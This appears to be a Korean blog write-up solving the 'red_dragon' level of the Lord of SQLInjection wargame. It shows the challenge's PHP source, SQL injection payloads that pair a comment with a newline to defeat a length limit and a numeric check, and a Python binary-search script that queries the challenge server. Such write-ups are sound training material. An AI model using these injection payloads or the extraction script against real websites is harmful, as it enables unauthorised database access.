본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : red_dragon

Write-Up

 

<?php
  if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7) exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
  $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");
?>

 

문제의 조건은 위와 같다. id 컬럼에는 strlen() 함수로 길이 제한이 되어 있으며, no 컬럼은 오직, 숫자 값만이 들어갈 수 있다. 먼저 id 컬럼에 아래와 같은 payload를 삽입해 보았다. 

 

?id=%27or%201%23

 

참 반응을 보여, 보기보다 쉽게 풀리나? 생각했는데, 역시 아니였다.;;; no 값에 대한 브루트 포싱을 진행했는데, 아무리 해도, 참 반응을 보이지 않았다. 그래서 아래와 같이 no 값에 대한 대소 비교를 진행하는 payload를 exploit 해 보았다. 

 

?id=%27||no>%23&no=%0a90000000

 

?id=%27||no>%23&no=%0a90000000 no 컬럼에는 %0a 와 같은 개행 공백 문자가 들어간다. ( 숫자 앞에만 들어감 )

#은 한줄 주석이므로, %0a를 통해 주석의 끝을 정해주면, 위와 같이 대소 비교가 가능하다. 이렇게 수동으로 진행해 줄 수도 있지만, 하기가 힘들어 아래와 같은 코드를 통해 no 값을 구해준다. ( 이진 탐색을 하는 코드  )

 

import requests
def sqli(number):
    url = 'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php' # ?id=1&no=%0a3
    cookies = {'PHPSESSID':'gurfmbt68hu28gsdcu3rlq4elt'}
    parameter = f'?id=%27||no>%23&no=%0a{number}'

    response = requests.get(url+parameter, cookies=cookies)
    return response.text

def binary_search_recursion(start, end):
    if start > end:
        return start
    mid = (start + end) // 2

    result = sqli(mid)

    if "Hello admin" in result:
        start = mid + 1
    else:
        end = mid - 1

    return binary_search_recursion(start, end)

if __name__ == '__main__':
    result = binary_search_recursion(100000000, 1000000000)
    print(result)

 

그림 1